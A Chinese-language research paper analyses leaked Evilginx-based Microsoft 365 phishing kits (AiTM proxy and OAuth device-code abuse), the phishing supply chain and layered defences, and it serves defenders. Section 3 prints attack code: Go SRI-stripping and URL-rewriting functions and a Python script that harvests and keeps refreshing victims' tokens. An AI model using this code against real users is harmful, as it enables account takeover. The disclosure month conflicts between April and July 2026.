摘要
针对 2026 年 7 月 Lexfo 安全机构披露的服务器配置泄露事件,本文以暴露的三套 Evilginx 定制钓鱼套件为核心研究样本,完整还原两类可绕过多因素认证(MFA)的 Microsoft 365 钓鱼攻击技术链路:基于反向代理的 AiTM 中间人劫持攻击、基于 OAuth 2.0 设备代码流协议滥用的原生授权劫持攻击。论文梳理攻击者依托公开 GitHub 开源框架、AI 辅助开发、PhaaS 黑色产业链实现低门槛规模化钓鱼的完整生态,剖析攻击者因python3 -m http.server 8080错误配置造成全量工具、日志、会话凭证泄露的底层安全诱因,量化两类攻击对企业云身份体系的破坏逻辑。结合反网络钓鱼技术专家芦笛的研判观点,分别针对 AiTM 代理钓鱼、设备代码流钓鱼构建差异化技术防御路径,提供可落地的 Python 审计脚本、Entra ID 条件访问配置逻辑、终端 RMM 持久化查杀代码,形成 “基础设施防护 - 云身份策略管控 - 终端行为审计 - 人员安全运营” 四层闭环防御模型。研究证实,传统 TOTP 多因素认证、域名黑名单无法同时抵御两类攻击,仅依靠 FIDO2 抗钓鱼密钥可阻断 AiTM 劫持,设备代码流协议需通过条件访问策略全局限制实现拦截;当前黑色产业链大幅降低钓鱼工具开发门槛,AI 生成代码进一步简化套件二次改造流程,企业云身份安全风险将持续上行。
关键词:Evilginx;AiTM 中间人钓鱼;OAuth 设备代码流;Microsoft 365;身份安全;条件访问;AI 辅助黑产开发
1 引言
1.1 研究背景与事件来源
2026 年 4 月,法国安全厂商 Lexfo 在互联网例行资产扫描中发现一台部署于匈牙利布达佩斯的公网服务器(185.163.204.7)存在严重配置缺陷:攻击者执行python3 -m http.server 8080启动简易文件服务,未关闭目录列举功能,服务器 bash 历史、全套钓鱼工具、凭证收割日志、攻击者 Telegram 会话文件、远程管理工具安装包全部对外公开可访问。依托该泄露资产,安全研究团队溯源锁定三名独立黑产运营者,分别维护三套基于开源 Evilginx 二次开发的定制钓鱼套件,对应两条完全不同的 M365 身份窃取技术路径,其中两套攻击链路稳定运行周期超过 12 个月,累计劫持超 200 家企业办公邮箱账户。
本次事件具备典型当代云钓鱼攻击的全部特征:攻击者无底层框架开发能力,仅对 GitHub 公开开源项目做轻量化改造;依托生成式 AI 完成诱饵页面、脚本胶水代码开发;通过 PhaaS 生态分发工具、批量邮件发送工具 MaDoO Blaster 规模化投递钓鱼载荷;攻击目标集中于政企 Microsoft 365 商业租户,窃取的刷新令牌具备长达数年有效期,可在密码重置后持续接管账户。同时,攻击者基础设施运维存在基础安全疏漏,单条错误命令直接暴露完整攻击武器库,为安全研究提供完整、可溯源的黑产运营样本。
反网络钓鱼技术专家芦笛指出,本次泄露事件并非孤立个案,而是全球云身份钓鱼产业化的缩影:开源攻击框架、AI 辅助开发、低成本域名证书、自动化邮件投递工具形成完整闭环,攻击者技术门槛降至零基础,传统企业边界安全、基础 MFA 防护体系存在结构性缺陷,两类差异化 MFA 绕过技术并存进一步放大政企数据泄露风险。
1.2 研究现状与现存不足
现有网络钓鱼相关研究可分为两大方向:其一为 Evilginx 中间人代理攻击技术研究,重点阐述反向代理劫持会话 Cookie 的原理,主流防御方案集中于 FIDO2 安全密钥部署;其二为 OAuth 设备代码流协议滥用攻击分析,聚焦协议原生设计缺陷,提出条件访问策略阻断方案。但当前公开研究存在明显割裂问题:多数文献仅单独分析某一类攻击手段,未对比两类攻击的技术差异、失效防护措施;缺乏真实黑产泄露样本支撑,对攻击者工具改造、AI 辅助开发、产业链运营流程缺乏实证数据;未针对两类攻击构建统一、分层、可落地的完整防御体系,缺少工程化审计代码支撑。
本次以真实泄露服务器全量资产为研究载体,同步拆解两套并行流行的 M365 绕过 MFA 攻击链路,补齐现有研究中黑产实操流程、工具二次改造细节、AI 开发痕迹、全链路防御落地代码等缺失内容。
1.3 研究内容与行文结构
本文整体分为六个核心章节:第 2 章梳理漏洞服务器暴露资产与三名攻击者完整溯源链路,分析http.server错误配置引发大规模信息泄露的底层安全机制;第 3 章分模块拆解两套 Evilginx 衍生套件技术架构,分别还原 AiTM 中间人钓鱼、OAuth 设备代码流钓鱼完整杀伤链,嵌入对应代码示例;第 4 章分析黑产产业链运作模式,包含开源框架复用、AI 辅助恶意代码开发、PhaaS 工具分发、持久化 RMM 后门部署;第 5 章结合反网络钓鱼技术专家芦笛的研判结论,针对两类攻击分别设计差异化分层防御方案,提供 Python 审计脚本、Entra ID 策略配置逻辑、终端查杀代码;第 6 章总结研究结论,预判未来钓鱼攻击演化趋势。
2 漏洞服务器资产泄露与攻击者溯源分析
2.1 服务器错误配置泄露机制与风险拆解
本次事件核心泄露源头为攻击者执行的简易文件共享命令:python3 -m http.server 8080,该工具为 Python 标准库内置静态文件服务,仅适用于本地临时调试,存在多项原生安全缺陷,也是本次完整武器库泄露的直接诱因。
2.1.1 http.server 原生安全缺陷
默认开启目录列举功能:服务启动后公网任意访问者可遍历服务器运行目录下全部文件,本次泄露资产包含.bash_history命令记录、钓鱼配置文件夹config/、凭证日志目录cache/、Telegram 会话备份、RMM 远程控制安装包、多套 Evilginx 源码压缩包、百万级账号字典等敏感文件,目录列表页面直接暴露全部文件名,无需路径遍历漏洞即可读取文件内容。
无身份认证与传输加密:服务基于明文 HTTP 协议,不存在账号密码访问校验,公网 IP 仅需访问 8080 端口即可获取全部资产,无任何访问权限控制逻辑。
无访问日志、请求限流、IP 黑名单防护:攻击者未对访问行为做审计,安全厂商 Lexfo 可无限制下载全套工具完成溯源。
2.1.2 关键泄露文件价值解析
服务器根目录列举页面暴露的核心文件分为四大类,每类文件均为溯源与技术分析提供实证依据:
运维痕迹文件:.bash_history完整记录攻击者下载、编译、运行 Evilginx 套件、启动文件服务的全部命令,直接定位攻击者 GitHub 仓库地址、工具修改操作;vminfo记录服务器主机硬件、网络配置信息;
攻击框架源码:red-queen.zip、black-queen.zip两套定制 Evilginx 完整源码包,包含攻击者修改后的 Go 代理代码、钓鱼页面模板、令牌持久化配置;
凭证收割资产:cache/目录存储劫持的 M365 会话 Cookie、刷新令牌,部分令牌有效期至 2027 年 6 月;各类 txt 格式账号字典、企业泄露邮箱列表;
持久化渗透工具:XEOX 远程管理程序安装包、Telegram 机器人会话文件、MaDoO Blaster 批量邮件发送工具程序包。
2.1.3 简易文件服务风险演示代码
以下为复现本次泄露漏洞的极简 Python 测试代码,运行后本地 8080 端口将直接暴露当前目录全部文件,复现攻击者操作失误造成的信息泄露场景:
python
运行
# 简易危险文件服务复现代码,仅用于安全测试
from http.server import SimpleHTTPRequestHandler, HTTPServer
import os
# 切换至存放攻击工具的工作目录
os.chdir("/opt/evilkit")
# 绑定0.0.0.0,对公网开放所有网卡端口
server_addr = ("0.0.0.0", 8080)
# 原生处理器默认开启目录列举,无任何权限校验
http_server = HTTPServer(server_addr, SimpleHTTPRequestHandler)
print("危险文件服务已启动,公网可访问全部目录文件")
http_server.serve_forever()
反网络钓鱼技术专家芦笛强调,安全运维与黑产攻击者均频繁误用该简易服务,企业运维人员在公网服务器临时启动该工具,极易造成代码、配置、数据库凭证泄露,生产环境禁止使用http.server作为文件共享服务,临时文件传输需增加身份验证、IP 白名单、HTTPS 加密三重防护。
2.2 三名黑产攻击者溯源与工具对应关系
依托泄露的 bash 历史、GitHub 仓库地址、Telegram 会话文件,Lexfo 安全团队完成三名独立攻击者完整画像溯源,三套 Evilginx 衍生套件分别对应独立运营主体,攻击技术路线完全区分:
攻击者 codemado(埃及黑客,2018 年活跃于 VoIP 与黑客论坛)
核心套件:red-queen(mail-argenta 开发的 Evilginx 分支),自主开发批量钓鱼邮件工具 MaDoO Blaster,运营钓鱼域名 picis [.] net,攻击周期 2026 年 4 月起;技术路线为 AiTM 反向代理中间人劫持,实时拦截登录流量捕获会话 Cookie;依托 CyberNeurova 付费无审查代码生成 API 完成脚本开发;
上游工具开发者 mail-argenta(尼日利亚攻击者)
red-queen 套件原始开发主体,对开源 Evilginx 核心代理逻辑做反检测改造,硬编码 MySQL 数据库密码存储于钓鱼面板,自身账号凭证因恶意软件窃取泄露,暴露全套工具源码;
攻击者 saroula01(身份未完全溯源)
核心套件:black-queen,技术路线为 OAuth 设备代码流协议滥用,不窃取账号密码,全程依托微软官方域名完成授权;运营周期超 12 个月,2025 年 6 月至 2026 年 7 月累计劫持 218 家企业账户,94% 为企业商业邮箱;代码提交记录存在 Claude 大模型共同作者标识,全套后端自动化脚本由 AI 辅助生成。
三者运营模式相对独立,但工具流通于同一黑色产业链,codemado 直接从 mail-argenta 的 GitHub 仓库克隆 red-queen 套件,所有工具均在地下论坛、Telegram 钓鱼渠道公开流转,形成 “框架开发者 - 二次改造者 - 批量钓鱼运营者” 三级分工体系。
2.3 攻击基础设施生命周期分析
本次事件中两套钓鱼域名 picis [.] net、romnor [.] ca 在安全厂商披露报道前已下线,Lexfo 研判并非监管关停,而是攻击者主动轮换基础设施规避追踪:2026 年 5 月攻击者仍在持续为 picis [.] net 申请新泛域名 SSL 证书,批量生成子域名投放钓鱼载荷;服务器 IP 185.163.204.7 仅短期临时部署,工具运行完成后攻击者会销毁服务器资产、更换 IP 与域名。
黑产基础设施轻量化、快速轮换特性大幅提升传统 IP / 域名黑名单检测的防御局限性,反网络钓鱼技术专家芦笛指出,仅依靠威胁情报拦截已知恶意 IP、域名无法实现长效防护,防御核心必须转移至云身份协议、终端行为、访问策略层面。
3 两类 Evilginx 衍生套件攻击技术全链路拆解
三套泄露套件分为两类完全不同的 MFA 绕过技术,red-queen 对应 AiTM 反向代理中间人攻击,black-queen 对应 OAuth 设备代码流授权劫持攻击,二者绕过 MFA 的底层逻辑、杀伤链、防御手段无交集,是当前针对 Microsoft 365 最主流的两类规模化钓鱼手段。
3.1 red-queen 套件:AiTM 反向代理中间人劫持攻击
3.1.1 Evilginx 核心代理原理
Evilginx 是开源 Adversary-in-the-Middle(AiTM)代理框架,核心逻辑为透明反向代理:攻击者搭建仿冒域名,用户访问仿冒域名时,服务器将全部 HTTP/HTTPS 流量实时转发至微软官方登录页面,页面原样返回至受害者浏览器,攻击者在流量中转环节捕获账号、密码、TOTP/MFA 验证结果、长期会话 Cookie。
传统静态钓鱼仅伪造登录页面,无法处理实时 MFA 校验;AiTM 代理直接对接微软官方身份服务,受害者完成全部官方验证流程,标准 TOTP、短信 MFA 完全失效。
3.1.2 mail-argenta 对 red-queen 套件的反检测改造代码分析
mail-argenta 为规避企业网页安全检测、子资源完整性(SRI)校验,修改http_proxy.go核心代理代码,增加 URL 重写引擎、篡改 HTML 安全校验标签,关键改造逻辑如下(简化代码片段):
// 原始Evilginx未修改SRI校验,浏览器会拦截篡改后的页面资源
// mail-argenta新增函数清除页面integrity、crossorigin安全属性
func stripSriAttributes(html []byte) []byte {
// 正则匹配清除integrity、crossorigin标签,绕过SRI校验
reIntegrity := regexp.MustCompile(`integrity="[^"]+"`)
reCrossOrigin := regexp.MustCompile(`crossorigin="[^"]+"`)
result := reIntegrity.ReplaceAll(html, []byte(""))
result = reCrossOrigin.ReplaceAll(result, []byte(""))
return result
}
// URL重写引擎,替换页面内官方域名链接为攻击者仿冒域名,规避路径检测
func rewritePageUrl(body []byte, fakeDomain string) []byte {
replaceMap := map[string]string{
"login.microsoftonline.com": fakeDomain,
"account.microsoft.com": fakeDomain,
}
for origin, proxy := range replaceMap {
body = bytes.ReplaceAll(body, []byte(origin), []byte(proxy))
}
return body
}
同时套件修改会话 Cookie 生命周期配置,将劫持的微软会话 Cookie TTL 设置为 31536000 秒(1 年),即使受害者修改账户密码,未部署 CAE(持续访问评估)策略的租户中,攻击者仍可凭借 Cookie 长期登录账户,泄露仓库中捕获的有效 Cookie 有效期至 2027 年 6 月。
3.1.3 AiTM 钓鱼完整杀伤链
载荷投递:codemado 使用自主开发 MaDoO Blaster 批量邮件工具,发送仿微软办公通知、发票、文件共享钓鱼邮件,内置仿冒域名链接;
代理接入:受害者点击链接跳转至 picis [.] net 子域名,流量接入 red-queen Evilginx 反向代理;
流量中转:代理转发请求至login.microsoftonline.com,将真实登录页面返回用户,同步记录输入的账号密码;
MFA 中继:用户提交 TOTP / 短信验证,代理将 MFA 数据同步转发微软身份服务器,完成合法认证;
凭证持久化:代理拦截服务器下发的会话 Cookie、刷新令牌,存入服务器cache/日志目录,同步推送至攻击者 Telegram 机器人;
账户接管:攻击者导入 Cookie 至本地浏览器,无需再次验证 MFA,访问受害者邮箱、OneDrive、Teams 全部资源;
横向渗透:利用劫持账户向企业内部全员发送同源钓鱼邮件,同时部署 XEOX RMM 远程控制工具实现终端持久驻留。
3.1.4 传统防护手段失效原因
反网络钓鱼技术专家芦笛指出,企业当前普遍部署的基础防护无法拦截该攻击:
域名黑名单仅拦截已知恶意域名,攻击者每周批量生成新泛子域名,情报更新存在滞后;
TOTP、短信、App 推送类标准 MFA 可被代理实时中继,无法抵御中间人劫持;
密码重置无法失效长 TTL 会话 Cookie,无 CAE 策略时令牌可持续使用数月。
3.2 black-queen 套件:OAuth 2.0 设备代码流协议滥用攻击
该套件攻击逻辑与 AiTM 代理完全区分,全程不伪造微软登录页面,依托 RFC 8628 设备授权协议原生流程劫持令牌,是当前防护盲区最大的新型钓鱼手段。
3.2.1 OAuth 设备代码流合法原生流程
协议设计初衷为无输入设备(智能电视、会议室硬件、IoT 终端)登录云服务,标准流程:
硬件设备向微软 Entra ID 发起授权请求,获取设备短码、官方授权页面microsoft.com/devicelogin;
用户在手机 / 电脑访问官方页面,输入短码;
用户完成账号密码 + MFA 验证;
微软向发起请求的硬件下发访问令牌、自动刷新的长期刷新令牌。
saroula01 改造 black-queen 套件将恶意程序伪装为合法硬件设备,全程复用微软官方域名与授权页面。
3.2.2 black-queen 自动化攻击核心 Python 代码示例
后端自动化脚本由 Claude 大模型辅助生成,实现动态设备码申请、轮询令牌接口、自动刷新劫持会话,核心代码片段:
import requests
import time
# 微软官方设备代码授权接口
DEVICE_CODE_URL = "https://login.microsoftonline.com/common/oauth2/devicecode"
TOKEN_POLL_URL = "https://login.microsoftonline.com/common/oauth2/token"
# 攻击者注册的恶意OAuth应用ID
MAL_APP_ID = "fake-app-registered-by-attacker"
def get_device_code():
# 向微软申请有效设备短码
params = {
"client_id": MAL_APP_ID,
"scope": "https://graph.microsoft.com/Mail.ReadWrite Files.ReadWrite.All"
}
resp = requests.post(DEVICE_CODE_URL, data=params)
data = resp.json()
# 返回展示给受害者的短码、验证页面、轮询间隔
return data["user_code"], data["verification_uri"], data["interval"], data["device_code"]
def poll_token(device_code, interval):
# 持续轮询令牌接口,等待受害者完成授权
while True:
time.sleep(interval)
token_req = {
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"client_id": MAL_APP_ID,
"device_code": device_code
}
token_resp = requests.post(TOKEN_POLL_URL, data=token_req)
token_data = token_resp.json()
# 受害者完成授权,获取长期刷新令牌
if "refresh_token" in token_data:
# 存储劫持令牌,开启自动刷新循环
save_stolen_token(token_data["refresh_token"])
auto_refresh_session(token_data["refresh_token"])
return token_data
# 自动刷新会话,维持账户长期控制
def auto_refresh_session(refresh_token):
refresh_params = {
"grant_type": "refresh_token",
"client_id": MAL_APP_ID,
"refresh_token": refresh_token
}
# 循环刷新令牌,泄露样本中单一会话最高刷新25次
while True:
resp = requests.post(TOKEN_POLL_URL, data=refresh_params)
new_token = resp.json()
save_stolen_token(new_token["refresh_token"])
time.sleep(3600)
3.2.3 设备代码流钓鱼杀伤链
诱饵分发:攻击者发送仿微软验证器更新、账户安全校验钓鱼邮件,页面展示生成的设备短码;
诱导跳转:诱饵页面提示用户访问microsoft.com/devicelogin(微软官方域名,无域名伪造);
官方授权验证:用户在微软原生页面输入短码,完成账号、密码、MFA 多重验证;
令牌下发:微软向攻击者后台 black-queen 服务器下发访问令牌与刷新令牌;
会话持久化:脚本循环调用刷新接口,持续维持账户访问权限,无需受害者二次交互;
数据窃取:攻击者调用 Microsoft Graph API 读取企业邮件、云盘文件,批量导出通讯录。
3.2.4 防护失效核心逻辑
FIDO2、Passkey 抗钓鱼密钥无法拦截:用户在微软官方域名完成验证,密钥签名绑定合法 origin,无法识别攻击者恶意授权请求;
标准 MFA 完全无效:MFA 校验在微软官方页面完成,等同于受害者主动为攻击者授权;
传统网页钓鱼检测工具失效:无仿冒域名、无篡改登录页面,流量全部访问微软官方资产。
4 新型云钓鱼黑色产业链运作模式分析
本次泄露服务器完整暴露从工具开发、AI 辅助编码、载荷投递、账户变现、持久化渗透全链路黑产分工体系,产业链各环节高度标准化,大幅降低攻击准入门槛。
4.1 开源框架复用与二次改造分工
产业链顶层为工具开发者(如 mail-argenta、saroula01),基于 GitHub 公开 Evilginx 开源项目完成定制改造,增加反检测、令牌持久化、自动化轮询功能,编译预打包二进制程序(evilginx2.exe),无需下游攻击者配置编译环境;中层运营者(codemado)直接克隆开源仓库,仅修改钓鱼邮件模板、域名配置、Telegram 推送机器人参数,无需底层开发能力;底层购买者通过地下论坛、Telegram 渠道付费获取套件,仅填写域名即可启动规模化钓鱼活动。
反网络钓鱼技术专家芦笛认为,开源攻击框架无门槛流通是当前钓鱼泛滥核心诱因,GitHub 等代码平台缺少恶意钓鱼工具自动化识别机制,大量 Evilginx 衍生分支长期公开存储,黑产可零成本获取成熟攻击代码。
4.2 生成式 AI 辅助恶意代码开发实证分析
泄露资产中三套套件均存在明确 AI 开发痕迹,分为三类应用场景:
底层代理逻辑改造:mail-argenta 留存完整 AI 对话日志instructions.txt,记录使用大模型生成 URL 重写、SRI 标签清除 Go 代码,直接复制模型输出整合进 Evilginx 源码;
自动化后端脚本:saroula01 的 black-queen 仓库 Git 提交记录标注 Claude 模型共同作者,设备码轮询、令牌刷新 Python 脚本全部由生成式 AI 输出;
轻量辅助脚本:codemado 调用付费无审查代码生成 API CyberNeurova,一键生成键盘记录器、日志批量导出小工具,嵌入整套攻击工具链。
Lexfo 安全团队分析结论显示,AI 未重写 Evilginx 核心代理框架,主要负责周边胶水代码、自动化运维脚本、钓鱼诱饵页面开发,大幅压缩攻击者开发周期,零基础人员可依托 AI 完成全套工具定制。微软官方安全报告同步证实,全球多起设备代码流钓鱼活动均采用 AI 生成钓鱼邮件、诱导页面。
4.3 PhaaS 钓鱼即服务生态联动
2026 年 6 月 SOCRadar 披露名为 “The Quarry” 的大型 PhaaS 生态,由开发者 RockyBelling 运营,服务近 200 名钓鱼攻击者,codemado 开发的 MaDoO Blaster 批量邮件工具作为第三方配套软件在生态 Telegram 频道推广,形成 “钓鱼框架 + 批量投递工具 + 恶意域名售卖 + RMM 持久化后门” 一体化黑产服务体系。
生态内分工清晰:平台提供域名、证书、服务器租赁;配套工具负责批量发送钓鱼邮件;Evilginx 套件完成身份劫持;XEOX 等 RMM 工具实现终端持久控制,攻击者仅需付费订阅即可开展完整攻击,技术门槛完全消除。
4.4 终端持久化渗透链路
两套套件均内置 XEOX 远程管理工具安装包,劫持账户完成邮箱入侵后,攻击者会向企业内部发送携带 RMM 安装程序的钓鱼附件,终端执行后实现长期驻留:
安装路径固定为C:\Program Files (x86)\XEOX\xeox-agent_x64.exe;
创建匹配*XEOX*Agent*Watchdog*命名规则的定时任务,开机自启动;
远程读取本地文件、截取屏幕、横向扫描内网资产,实现从云账户入侵到终端内网渗透的完整链路。
5 分层闭环防御体系构建(针对两类差异化攻击)
两类攻击技术底层原理不同,不存在通用单一防护手段,反网络钓鱼技术专家芦笛提出分层防御思路:以 FIDO2 密钥阻断 AiTM 中间人代理攻击,以 Entra ID 条件访问策略全局管控 OAuth 设备代码流,叠加持续访问评估 CAE、终端行为审计、日志异常监控形成四层闭环防护。
5.1 第一层:云身份基础策略管控(阻断设备代码流攻击)
设备代码流滥用唯一核心管控手段为 Entra ID 条件访问策略,禁止非可信场景下设备授权流程,配套日志审计监控异常设备码申请行为。
5.1.1 条件访问策略配置逻辑
资产盘点:通过 Entra 登录日志梳理企业合法使用设备代码流的资产(会议室 Teams 硬件、CLI 运维工具),形成白名单;
全局阻断策略:针对所有用户、所有云应用,拦截设备代码授权流程,仅对白名单设备 / IP 放行;
补充网络位置管控:添加基于 IP 的位置策略,仅允许企业办公网、可信 VPN 网段完成设备授权;
启用 CAE 持续访问评估:针对 Exchange Online、SharePoint 开启令牌实时重校验,劫持令牌跨 IP 使用时立即失效。
5.1.2 设备代码流异常日志审计 Python 脚本
脚本读取 Entra 登录日志,筛选异常设备代码授权事件,识别陌生客户端 ID、境外 IP、批量设备码申请行为:
import json
from datetime import datetime
# 合法设备代码流客户端白名单
WHITELIST_CLIENT = ["TeamsRoomDevice", "AzureCLI"]
# 微软Office桌面客户端ID(异常设备码劫持高频标识)
OFFICE_CLIENT_ID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
def detect_device_code_risk(log_path):
risk_events = []
with open(log_path, "r", encoding="utf-8") as f:
logs = json.load(f)
for event in logs:
# 筛选原始认证方式为设备代码流的事件
auth_method = event.get("OriginalTransferMethod", "")
client_id = event.get("ClientAppId", "")
ip_addr = event.get("IpAddress", "")
location = event.get("Location", {}).get("Country", "")
if auth_method == "DeviceCodeFlow":
# 非白名单客户端标记高风险
if client_id not in WHITELIST_CLIENT:
risk_events.append({
"time": event["CreatedDateTime"],
"user": event["UserPrincipalName"],
"ip": ip_addr,
"country": location,
"client_id": client_id,
"risk_level": "高风险-非可信设备码授权"
})
# 桌面客户端发起设备码申请,企业正常场景极少,标记预警
if client_id == OFFICE_CLIENT_ID:
risk_events.append({
"time": event["CreatedDateTime"],
"user": event["UserPrincipalName"],
"ip": ip_addr,
"risk_level": "预警-桌面客户端发起设备码流程"
})
# 输出风险事件报告
for risk in risk_events:
print(json.dumps(risk, ensure_ascii=False, indent=2))
return risk_events
if __name__ == "__main__":
detect_device_code_risk("entra_signin_logs.json")
反网络钓鱼技术专家芦笛强调,审计时必须读取OriginalTransferMethod字段,仅依靠当前认证协议字段会遗漏历史设备代码流授权的刷新令牌行为。
5.2 第二层:抗钓鱼身份认证部署(阻断 AiTM 中间人代理攻击)
标准 TOTP、短信 MFA 无法抵御 Evilginx AiTM 代理,唯一结构性防护手段为全域部署 FIDO2/WebAuthn Passkey 安全密钥,核心原理为公钥签名绑定访问源域名,中间人代理无法篡改签名完成验证。
全域强制 FIDO2 策略:在条件访问中配置,所有用户登录 M365 邮箱、云盘、Teams 必须使用硬件密钥或平台通行密钥;
启用 Microsoft Authenticator 数字匹配功能,拦截恶意 MFA 推送批准;
禁用遗留认证协议(IMAP、POP3、旧版 SMTP),缩小攻击面。
简化 WebAuthn 密钥注册前端验证代码(用于企业门户二次校验):
// FIDO2通行密钥注册简化示例,绑定可信域名抵御AiTM代理
async function registerPasskey(userId) {
const publicKeyOptions = {
challenge: crypto.getRandomValues(new Uint8Array(32)),
rp: { name: "企业Microsoft 365租户", id: "company.com" },
user: {
id: Uint8Array.from(userId.split("").map(c => c.charCodeAt(0))),
name: userId,
displayName: userId
},
pubKeyCredParams: [{ type: "public-key", alg: -7 }],
authenticatorSelection: {
userVerification: "required", // 强制本地生物/硬件验证
residentKey: "required"
}
};
// 密钥签名绑定租户域名,Evilginx代理仿冒域名无法通过校验
const credential = await navigator.credentials.create({ publicKey: publicKeyOptions });
return credential;
}
5.3 第三层:终端安全审计与 RMM 后门查杀
针对攻击者投放的 XEOX 持久化远程控制工具,部署终端检测脚本,批量扫描可疑文件与定时任务:
powershell
# Windows终端XEOX RMM后门查杀脚本
# 检测默认安装路径
$xeoxPath = "C:\Program Files (x86)\XEOX\xeox-agent_x64.exe"
if (Test-Path $xeoxPath) {
Write-Host "检测到恶意XEOX远程控制程序,立即隔离"
Stop-Process -Name "xeox-agent_x64" -Force
Move-Item $xeoxPath "C:\Quarantine\xeox-agent_x64.exe"
}
# 检索匹配XEOX命名规则的定时任务
Get-ScheduledTask | Where-Object {$_.TaskName -match "XEOX.*Agent.*Watchdog"} | ForEach-Object {
Write-Host "发现恶意定时任务:$($_.TaskName)"
Disable-ScheduledTask -TaskName $_.TaskName
Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false
}
企业终端管理平台可定时推送该脚本,批量全网巡检,及时清除入侵后持久化后门。
5.4 第四层:运营层安全管控与基础设施防护
服务器运维规范:禁止公网服务器使用python3 -m http.server简易文件服务,临时文件共享启用 IP 白名单、账号密码认证、HTTPS 加密;运维人员操作后清理.bash_history敏感命令记录;
钓鱼邮件前置过滤:邮件网关拦截携带设备码诱导、仿微软账户安全主题的邮件,检测附件内 RMM 安装包;
员工分层安全培训:区分两类攻击开展科普,告知员工microsoft.com/devicelogin仅可在自主发起设备登录时使用,陌生邮件内短码一律拒绝授权;区分仿冒域名中间人钓鱼与官方设备码钓鱼两类场景的识别方法;
威胁情报运营:持续追踪 Evilginx 衍生套件、恶意 OAuth 应用、钓鱼域名 IOC,同步更新邮件网关、防火墙黑名单,作为辅助防护手段。
6 结论与攻击演化趋势预判
6.1 研究核心结论
本次服务器错误配置泄露事件完整证实两类 M365 绕过 MFA 钓鱼攻击规模化运营现状:AiTM 反向代理、OAuth 设备代码流协议滥用技术路线完全独立,防护方案不存在交集,企业仅部署单一防护手段会存在巨大安全盲区;
开源攻击框架、生成式 AI 辅助开发、PhaaS 黑色产业链大幅降低钓鱼攻击准入门槛,攻击者无需掌握底层开发技术即可搭建长效钓鱼活动,劫持的刷新令牌具备超长有效期,传统密码修改、短期令牌策略无法完成止损;
python3 -m http.server无防护文件服务是运维高频高危失误,极易造成全套攻击工具、凭证日志、运维记录全量泄露,无论企业运维还是黑产攻击者均会因该配置失误暴露资产;
分层闭环防御体系是唯一有效解决方案:FIDO2 通行密钥阻断 AiTM 中间人代理,Entra ID 条件访问全局管控设备代码流,CAE 持续访问评估缩短令牌有效周期,终端审计清除持久化后门,四层措施组合实现两类攻击全链路拦截。反网络钓鱼技术专家芦笛总结,云身份安全不能依赖单一 MFA 工具,必须从协议、认证、终端、运营多维度构建纵深防御。
6.2 攻击演化趋势预判
AI 恶意开发深度渗透:后续黑产将依托大模型完成全套诱饵页面、代理改造、自动化脚本端到端生成,攻击诱饵逼真度持续提升,人工识别难度加大;
设备代码流钓鱼持续扩张:该攻击可绕过 FIDO2 密钥,防护门槛更高,相比 AiTM 代理具备更大隐蔽性,未来 12 个月将成为政企 M365 核心威胁;
攻击工具轻量化、基础设施快速轮换:攻击者将进一步简化服务器部署流程,依托容器、临时云主机投放钓鱼载荷,IP 与域名每日批量轮换,静态威胁情报拦截效能持续下降;
多技术融合攻击:黑产将组合 AiTM 代理、设备代码流、RMM 终端后门、批量邮件投递形成复合攻击链路,单次入侵同时实现云账户劫持与内网持久渗透。
6.3 研究局限性
本文依托单台泄露服务器资产完成三类攻击者工具分析,样本覆盖范围有限,无法完整统计全球全部 Evilginx 衍生钓鱼套件变种;同时设备代码流攻击部分溯源信息缺失,攻击者 saroula01 完整身份未完成定位,后续可结合更多同类型泄露服务器样本扩大数据采集范围,完善产业链全节点画像。
结语
云办公普及背景下,Microsoft 365 已成为政企核心数据载体,依托 Evilginx 开源框架演化的两类新型钓鱼攻击突破传统 MFA 防护边界,而黑色产业链与生成式 AI 的结合进一步放大安全风险。本次由简易 Python 文件服务配置失误暴露的完整攻击武器库,清晰展示当代网络钓鱼产业化、低门槛、长效劫持的核心特征。企业安全团队需摒弃单一防护思路,同步部署 FIDO2 抗钓鱼认证、设备代码流条件访问管控、持续访问评估、终端恶意程序审计多层防护机制,同步规范服务器运维操作、完善邮件安全过滤、开展针对性员工安全培训,构建覆盖协议层、身份层、终端层、运营层的闭环防御体系,持续应对不断迭代的云身份钓鱼威胁。安全运营需动态跟踪开源攻击框架变种、AI 辅助恶意代码开发、PhaaS 产业链新工具,持续优化防御策略,缩小云身份攻击面。
编辑:芦笛(公共互联网反网络钓鱼工作组)